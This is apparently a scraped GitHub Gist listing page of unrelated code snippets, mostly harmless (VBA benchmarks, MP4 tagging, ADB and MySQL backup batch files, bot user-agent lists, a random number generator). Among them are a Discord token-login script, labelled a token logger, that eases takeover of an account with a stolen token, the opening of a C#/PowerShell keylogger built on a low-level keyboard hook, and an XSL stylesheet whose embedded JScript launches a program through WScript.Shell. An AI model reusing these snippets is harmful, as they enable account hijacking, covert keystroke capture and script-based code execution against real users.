Skip to content

Instantly share code, notes, and snippets.

@m-Phoenix852
m-Phoenix852 / discord-token-logger.js
Created August 26, 2020 07:45
Simple script to log in to discord account using token.
let token = "your token";
function login(token) {
setInterval(() => {
document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"`
}, 50);
setTimeout(() => {
location.reload();
}, 2500);
}
@sancarn
sancarn / .VBA Perf.md
Last active September 13, 2021 06:59

Performance Tests in VBA

Variant Copy vs Local implementation

Tests:

Private Declare PtrSafe Sub VariantCopyDLL Lib "oleaut32.dll" Alias "VariantCopy" (ByRef pvargDest As Variant, ByRef pvargSrc As Variant)
Const MaxCount As Long = 10 ^ 6
@lemon24
lemon24 / mutagen-mp4-tags.py
Last active September 28, 2024 00:44
using mutagen to update MP4 tags
import shutil
import mutagen
shutil.copy('original.mp4', 'new.mp4')
# mutagen.File knows how to open any file (works with both MP4 and MP4):
#
# https://mutagen.readthedocs.io/en/latest/user/gettingstarted.html
# https://mutagen.readthedocs.io/en/latest/api/base.html#mutagen.File
@sancarn
sancarn / KeyLogger.ps1
Created January 14, 2020 00:07
KeyLogger C# / Powershell
Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace KeyLogger {
public static class Program {
private const int WH_KEYBOARD_LL = 13;
@ivang7
ivang7 / koplayer.bat
Last active July 19, 2023 13:29
koplayer adb conncet android studio
:: C:\Users\Ivan\AppData\Local\Android\Sdk\emulator>emulator -list-avds
:: C:\Users\Ivan\AppData\Local\Android\Sdk\emulator>emulator -avd My_Device_x86
@echo off
cd C:\KOPLAYER
netstat -an | find /i "listening"
call adb kill-server
@graysuit
graysuit / Bots & Crawlers User-Agent list.txt
Last active January 6, 2021 17:45
Nowadays, every professional website have their own bots and crawlers. These are used to fetch results from link/URL when a user share them. They track links to avoid phishing, scams and also for better link preview.
𝐆𝐨𝐨𝐠𝐥𝐞:
Googlebot
Googlebot/2.1
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
𝐅𝐚𝐜𝐞𝐛𝐨𝐨𝐤 & 𝐈𝐧𝐬𝐭𝐚𝐠𝐫𝐚𝐦 & 𝐌𝐞𝐬𝐬𝐞𝐧𝐠𝐞𝐫:
Facebot
facebookexternalhit
facebookexternalhit/1.1
@echo off
For /f "tokens=2-4 delims=/ " %%a in ('date /t') do (set mydate=%%c-%%a-%%b)
For /f "tokens=1-2 delims=/:" %%a in ("%TIME%") do (set mytime=%%a%%b)
SET backupdir=C:\xampp\htdocs\backup
SET mysqluername=root
SET mysqlpassword=password
SET database=dbname
C:\xampp\mysql\bin\mysqldump.exe -u%mysqluername% -p%mysqlpassword% %database% > %backupdir%\%database%_%mydate%_%mytime%.sql
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]> </ms:script>
@MarcAlx
MarcAlx / RandomNumberGenerator.cs
Created July 8, 2018 09:53
Mersenne Twister - C#
/// <summary>
/// Random Number Generator based on Mersenne-Twister algorithm
///
/// Usage :
/// RandomNumberGenerator.Instance.Generate());
/// RandomNumberGenerator.Instance.Generate(1.1,2.2);
/// RandomNumberGenerator.Instance.Generate(1,100)
///
/// inspired from : http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/VERSIONS/C-LANG/980409/mt19937-2.c
/// </summary>
private fun initializePlayer() {
if (player == null) {
player = ExoPlayerFactory.newSimpleInstance(
DefaultRenderersFactory(context),
DefaultTrackSelector(),
DefaultLoadControl())
playerView?.setPlayer(player)
player.setPlayWhenReady(playWhenReady)
player.seekTo(currentWindow, playbackPosition)
}